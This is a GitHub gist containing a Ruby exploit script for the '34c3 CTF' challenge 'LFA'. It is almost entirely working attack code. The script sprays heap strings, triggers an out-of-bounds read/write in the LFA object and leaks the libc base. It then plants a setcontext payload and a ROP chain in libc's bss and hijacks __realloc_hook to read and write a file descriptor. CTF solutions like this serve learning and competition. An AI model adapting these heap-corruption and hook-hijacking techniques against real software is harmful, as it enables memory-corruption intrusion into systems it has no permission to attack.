Skip to content

Instantly share code, notes, and snippets.

@Charo-IT
Created December 28, 2017 10:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Charo-IT/52d3752c20499de72f65803a4762cd18 to your computer and use it in GitHub Desktop.
Save Charo-IT/52d3752c20499de72f65803a4762cd18 to your computer and use it in GitHub Desktop.
34c3 CTF - LFA
# struct RString {
# struct RBasic basic;
# union {
# struct {
# long len;
# char *ptr;
# union {
# long capa;
# VALUE shared;
# } aux;
# } heap;
# char ary[RSTRING_EMBED_LEN_MAX + 1];
# } as;
# };
main_arena = 0x3dac20
bss_end = 0x3dc000
setcontext = 0x4a865
__realloc_hook = 0x3dac08
ret = 0x20b8c
pop_rdi_ret = 0x20b8b
pop_rsi_ret = 0x20a0b
pop_rdx_ret = 0x1b96
off_readv = 0x109ed0
off_write = 0x104040
def wait
puts "waiting..."
STDOUT.flush
gets
end
def spray(cnt)
a = Array.new(cnt)
a.length.times{|i|
s = "\x00".b * 23
s[0] = "d"
s[1] = "e"
s[2] = "a"
s[3] = "d"
s[4] = "b"
s[5] = "e"
s[6] = "e"
s[7] = "f"
s[8] = (i & 0xff).chr
s[9] = ((i >> 8) & 0xff).chr
s[10] = ((i >> 16) & 0xff).chr
s[11] = ((i >> 24) & 0xff).chr
a[i] = s
}
a
end
def to_int(a)
a &= 0xffffffff
raise if a >= 0x80000000
a
end
def writemem(lfa, offset, str, address, data)
lfa[offset] = to_int(data.length)
lfa[offset + 1] = to_int(data.length >> 32)
lfa[offset + 2] = to_int(address)
lfa[offset + 3] = to_int(address >> 32)
data.bytes.each_with_index{|b, i|
str[i] = b.chr
}
end
# disable GC to prevent messing
GC.disable
a = LFA.new
# spray RString object
s = spray(1024)
# trigger the vulnerability and achieve OOB read/write
a[0x7fffffff] = 1
a.remove(0x7fffffff)
# find victim RString
offset, index = []
0.step(0x7fffffff, 2){|i|
if a[i] == 0x64616564 and a[i + 1] == 0x66656562
offset = i
index = a[i + 2]
break
end
}
raise if offset.nil?
# leak libc base
168.times{
s[index] << "A"
}
oldbuf = a[offset + 2] + (a[offset + 3] << 32)
s[index] << "A"
newbuf = a[offset + 2] + (a[offset + 3] << 32)
a[offset + 2] = to_int(oldbuf)
a[offset + 3] = to_int(oldbuf >> 32)
libc_base = s[index][8...16].unpack("Q")[0] - main_arena - 0x58
a[offset + 2] = to_int(newbuf)
a[offset + 3] = to_int(newbuf >> 32)
puts "libc base = 0x%x" % libc_base
STDOUT.flush
# write payload for setcontext
payload = "".b
payload << "\0" * 0xa0
payload << [libc_base + bss_end - 0x200].pack("Q")
payload << [libc_base + ret].pack("Q")
writemem(a, offset, s[index], libc_base + bss_end - 0x100, payload)
# write ROP chain to libc's bss
rop = "".b
rop << [libc_base + pop_rdi_ret, 1023].pack("Q*")
rop << [libc_base + pop_rsi_ret, libc_base + bss_end - 0x180].pack("Q*")
rop << [libc_base + pop_rdx_ret, 1].pack("Q*")
rop << [libc_base + off_readv].pack("Q")
rop << [libc_base + pop_rdi_ret, 1].pack("Q*")
rop << [libc_base + pop_rsi_ret, libc_base + bss_end - 0x80].pack("Q*")
rop << [libc_base + pop_rdx_ret, 0x90].pack("Q*")
rop << [libc_base + off_write].pack("Q")
rop << "\0" * 16
rop << [libc_base + bss_end - 0x80, 0x40].pack("Q*")
writemem(a, offset, s[index], libc_base + bss_end - 0x200, rop)
# overwrite __realloc_hook
writemem(a, offset, s[index], libc_base + __realloc_hook, [libc_base + setcontext].pack("Q"))
# trigger realloc
a[offset] = 1
a[offset + 1] = 0
a[offset + 2] = to_int(libc_base + bss_end - 0x100)
a[offset + 3] = to_int((libc_base + bss_end - 0x100) >> 32)
a[offset + 4] = 1
a[offset + 5] = 0
s[index] << "A"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment